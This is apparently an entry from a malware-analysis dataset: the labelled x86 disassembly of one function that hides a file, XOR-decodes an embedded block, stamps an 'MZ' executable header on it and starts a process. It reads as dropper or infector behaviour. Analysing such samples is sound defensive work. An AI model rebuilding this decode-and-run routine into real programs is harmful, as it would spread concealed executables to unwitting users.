Function at 0x4046ca
Capabilities:
Copy file
Create process on windows
Encode data using xor
Set file attributes

Disassembly:
enter 0xb24, 1
push ebx
push esi
push edi
push 0x40b92e
push 0x404c49
call fcn.00408e78
or dword [ebp - 0x14], 0xffffffff
lea eax, [ebp - 0x700]
push eax
push dword [0x40c890]
push 0xff
call fcn.0040885c
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x2a0]
push eax
lea eax, [ebp - 0x3a0]
push eax
call fcn.0040734f
lea eax, [ebp - 0x5f9]
push eax
push dword [0x40c890]
call fcn.0040888c
mov byte [ebp - 0x5fa], 0x30
mov byte [ebp - 0x5fb], 0x30
call fcn.004045cc
push 0x4000
lea eax, [ebp - 0xa0]
push eax
mov eax, dword [ebp - 0x5f9]
push eax
call sub.kernel32.dll_OpenFile
cmp eax, 0xffffffff
je 0x404760
cmp byte [ebp - 0x5fa], 0x39
jne 0x404735
push 0
mov eax, dword [ebp - 0x5f9]
push eax
mov eax, dword [0x40c890]
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
jne 0x4047cc
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4047cc
lea eax, [ebp - 0x5f9]
push eax
lea eax, [ebp - 0x704]
push eax
lea eax, [ebp - 0x700]
push eax
call fcn.00401090
push eax
call fcn.00407f26
lea eax, [ebp - 0x2a0]
push eax
call fcn.004086a8
lea eax, [ebp - 0x3a0]
push eax
call fcn.004086a8
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
and dword [ebp - 0x14], 0
jmp 0x404727
push 2
mov eax, dword [ebp - 0x5f9]
push eax
call sub.kernel32.dll_SetFileAttributesA
push 2
mov eax, dword [ebp - 0x5f9]
push eax
call sub.kernel32.dll__lopen
mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0xb28]
cmp eax, 0xffffffff
jne 0x404811
push 0x10
push 0
mov eax, dword [0x40c86c]
push dword [eax + 0x3c]
push 0
call sub.user32.dll_MessageBoxA
jmp 0x404c31
push 0x7828
push 0
call fcn.00407f5f
mov esi, eax
mov edi, 1
mov ecx, dword [0x40c8e3]
mov eax, edi
add eax, 0x2ac
mov al, byte [eax + ecx]
mov byte [edi + 0x40c8cc], al
inc edi
cmp edi, 0xa
jle 0x404824
push 0
push 0x300
mov eax, dword [ebp - 0xb28]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x40485d
jmp 0x4049a1
push 2
lea eax, [ebp - 0x5fd]
push eax
mov eax, dword [ebp - 0xb28]
push eax
call sub.kernel32.dll__lread
cmp eax, 0xffffffff
jne 0x40487c
jmp 0x4049a1
push 0
mov ecx, dword [0x40c8a4]
sub ecx, 0x7828
movzx eax, word [ebp - 0x5fd]
sub ecx, eax
push ecx
mov eax, dword [ebp - 0xb28]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x4048aa
jmp 0x4049a1
push 0x7828
push esi
mov eax, dword [ebp - 0xb28]
push eax
call sub.kernel32.dll__lread
cmp eax, 0xffffffff
jne 0x4048c6
jmp 0x4049a1
mov eax, dword [ebp - 0xb28]
push eax
mov ecx, dword [0x40c8a4]
sub ecx, 0x7828
movzx eax, word [ebp - 0x5fd]
sub ecx, eax
push ecx
call fcn.004076a0
and dword [ebp - 0x10], 0
mov edi, 1
movzx eax, byte [edi + 0x40c8cc]
add eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
inc edi
cmp edi, 0xa
jle 0x4048f1
and edi, 0
mov bl, byte [edi + esi]
mov eax, edi
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40c8cc]
movzx ebx, bl
mov eax, dword [ebp - 0x10]
imul edi
xor ebx, eax
mov byte [edi + esi], bl
inc edi
cmp edi, 0x7827
jle 0x404908
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
mov edi, 1
mov ecx, dword [0x40c8e3]
mov eax, edi
add eax, 0x261
mov bl, byte [eax + ecx]
mov eax, edi
dec eax
mov ecx, 0xa
cdq
idiv ecx
inc edx
xor bl, byte [edx + 0x40c8cc]
mov eax, edi
add eax, 0xbb8
mov byte [eax + esi], bl
inc edi
cmp edi, 0x14
jle 0x40493f
push 0
push 0
mov eax, dword [ebp - 0xb28]
push eax
call sub.kernel32.dll__llseek
cmp eax, 0xffffffff
jne 0x404988
jmp 0x4049a1
push 0x7828
push esi
mov eax, dword [ebp - 0xb28]
push eax
call sub.kernel32.dll__lwrite
cmp eax, 0xffffffff
jne 0x4049a1
jmp 0x4049a1
mov eax, dword [ebp - 0xb28]
push eax
call sub.kernel32.dll__lclose
cmp eax, 0xffffffff
jne 0x4049b7
jmp 0x404c31
push esi
call fcn.00407fa2
push 0x40c8db
push dword [ebp - 0x5f9]
call fcn.0040888c
call fcn.004095f4
test eax, eax
jne 0x404a1f
push 0x40b8d1
push dword [ebp - 0x5f9]
call fcn.00408ac0
test eax, eax
je 0x404a1f
lea eax, [ebp - 0x5f9]
push eax
lea eax, [ebp - 0x708]
push eax
push 0x40b8db
call fcn.004088c4
push dword [ebp - 0x5f9]
call fcn.00408928
push 0x40b8e5
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
call fcn.004095f4
test eax, eax
je 0x404bac
push 0x40b8ef
push dword [ebp - 0x5f9]
call fcn.00408ac0
test eax, eax
je 0x404b4d
lea eax, [ebp - 0x5f9]
push eax
lea eax, [ebp - 0x70c]
push eax
push 0x40b8f9
call fcn.004088c4
push dword [ebp - 0x5f9]
call fcn.00408928
push 0x40b903
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
call fcn.004095f4
mov esi, eax
mov edi, 1
jmp 0x404b43
lea eax, [ebp - 0x80c]
push eax
push edi
call fcn.004095fc
pop eax
cmp byte [eax + 1], 0x22
jne 0x404aec
lea eax, [ebp - 0x5f9]
push eax
lea eax, [ebp - 0x810]
push eax
push dword [ebp - 0x5f9]
call fcn.004088c4
push 0x40b90d
call fcn.00408928
lea eax, [ebp - 0x914]
push eax
lea eax, [ebp - 0x910]
push eax
push edi
call fcn.004095fc
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x404b42
lea eax, [ebp - 0x5f9]
push eax
lea eax, [ebp - 0x918]
push eax
push dword [ebp - 0x5f9]
call fcn.004088c4
push 0x40b917
call fcn.00408928
lea eax, [ebp - 0xa1c]
push eax
lea eax, [ebp - 0xa18]
push eax
push edi
call fcn.004095fc
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
push 0x40b922
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
inc edi
cmp esi, edi
jge 0x404a8a
jmp 0x404bac
call fcn.004095f4
mov esi, eax
mov edi, 1
jmp 0x404ba8
lea eax, [ebp - 0x5f9]
push eax
lea eax, [ebp - 0xa20]
push eax
push dword [ebp - 0x5f9]
call fcn.004088c4
push 0x40b92c
call fcn.00408928
lea eax, [ebp - 0xb24]
push eax
lea eax, [ebp - 0xb20]
push eax
push edi
call fcn.004095fc
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
inc edi
cmp esi, edi
jge 0x404b5b
mov dword [ebp - 0x3e4], 0x44
and dword [ebp - 0x3e0], 0
and dword [ebp - 0x3dc], 0
and dword [ebp - 0x3d8], 0
mov dword [ebp - 0x3b8], 1
and word [ebp - 0x3b2], 0
and dword [ebp - 0x3b0], 0
mov word [ebp - 0x3b4], 5
lea eax, [ebp - 0x5f5]
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.00407e95
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x5f5]
push eax
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x5f9]
push eax
mov eax, dword [0x40c8db]
push eax
call sub.kernel32.dll_CreateProcessA
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x404c50
push 0x40b92e
call fcn.00408ecc
ret